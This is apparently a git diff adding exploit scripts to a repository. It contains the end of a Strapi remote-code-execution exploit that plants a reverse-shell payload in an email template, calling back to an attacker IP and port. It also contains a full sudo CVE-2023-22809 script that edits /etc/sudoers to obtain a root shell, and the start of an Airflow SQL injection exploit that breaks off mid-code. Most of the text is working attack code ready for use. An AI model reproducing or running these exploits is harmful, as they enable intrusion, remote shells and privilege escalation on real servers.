Thank you for registering!
\n\n{full_payload}", + }, + } + } + } + r = requests.put( + url + "/users-permissions/email-templates", + json=data, + headers={"Authorization": "Bearer " + token}, + ) + if "ok" in r.text: + print("[+] Malicious template added to email confirmation page") + else: + print("[-] Error while adding malicious template\nDEBUG: " + r.text) + exit(1) + + +def trigger_rce(): + json_data = { + "email": "".join(random.choices(string.ascii_lowercase, k=10)) + "@poc.local", + "username": "".join(random.choices(string.ascii_lowercase, k=10)), + "password": "".join(random.choices(string.ascii_lowercase, k=10)) + "?#A", + } + r = requests.post(url + "/api/auth/local/register", json=json_data) + print( + "[+] sendTemplatedEmail() should be triggered, check your listener\nDEBUG: " + + r.text + ) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("-url", help="URL of the Strapi instance", required=True) + parser.add_argument("-u", help="Admin username", required=True) + parser.add_argument("-p", help="Admin password", required=True) + parser.add_argument("-ip", help="Attacker IP") + parser.add_argument("-port", help="Attacker port") + parser.add_argument( + "-url_redirect", help="URL to redirect after email confirmation" + ) + parser.add_argument("-custom", help="Custom shell command to execute") + args = parser.parse_args() + url = args.url + if url[-1] == "/": + url = url[:-1] + token = get_token(args.u, args.p) + if args.url_redirect: + enable_confirmation(token, args.url_redirect) + else: + print( + "[i] No URL redirect provided, email confirmation will may encounter an error, using http://poc.com" + ) + enable_confirmation(token, "http://poc.com") + if args.custom: + add_payload(args.ip, args.port, args.custom) + elif args.ip and args.port: + add_payload(args.ip, args.port) + else: + print( + "[-] No ip and port provided, please provide them with -ip and -port or use -custom to provide a custom payload" + ) + exit(1) + print("[+] Waiting for RCE...") + trigger_rce() \ No newline at end of file diff --git a/CVE-2023-22809.sh b/CVE-2023-22809.sh new file mode 100644 index 0000000..c4394bf --- /dev/null +++ b/CVE-2023-22809.sh @@ -0,0 +1,45 @@ +#!/usr/bin/env bash +# +# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation +# +# Exploit Author: n3m1.sys +# CVE: CVE-2023-22809 +# Date: 2023/01/21 +# Vendor Homepage: https://www.sudo.ws/ +# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz +# Version: 1.8.0 to 1.9.12p1 +# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9 +# +# Running this exploit on a vulnerable system allows a localiattacker to gain +# a root shell on the machine. +# +# The exploit checks if the current user has privileges to run sudoedit or +# sudo -e on a file as root. If so it will open the sudoers file for the +# attacker to add a line to gain privileges on all the files and get a root +# shell. + + +if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$' +then + echo "> Currently installed sudo version is not vulnerable" + exit 1 +fi + + +EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-) + + +if [ -z "$EXPLOITABLE" ]; then + echo "> It doesn't seem that this user can run sudoedit as root" + read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2 +else + echo "> BINGO! User exploitable" +fi + + +echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" +echo "$USER ALL=(ALL:ALL) ALL" +read -n 1 -s -r -p "Press any key to continue..." +EDITOR="vim -- /etc/sudoers" $EXPLOITABLE +sudo su root +exit 0 \ No newline at end of file diff --git a/CVE-2023-22884-Airflow-SQLi.py b/CVE-2023-22884-Airflow-SQLi.py new file mode 100644 index 0000000..7eaa105 --- /dev/null +++ b/CVE-2023-22884-Airflow-SQLi.py @@ -0,0 +1,287 @@ +# @jakabakos +# version: 1.1 +# Tested with Airflow 2.5.0 and MySQL provider 3.4.0 +# Apache Airflow REST API reference: https://airflow.apache.org/docs/apache-airflow/stable/stable-rest-api-ref.html + +import argparse +import json +import re +import requests +from packaging import version + +def get_csrf_token(url): + """Get the CSRF token from the login page response""" + # Send a GET request to the login page to retrieve the HTML content + response = requests.get(url + "/login/") + + # Use regular expression to find the CSRF token from the response HTML + pattern = r'haha
\n \ +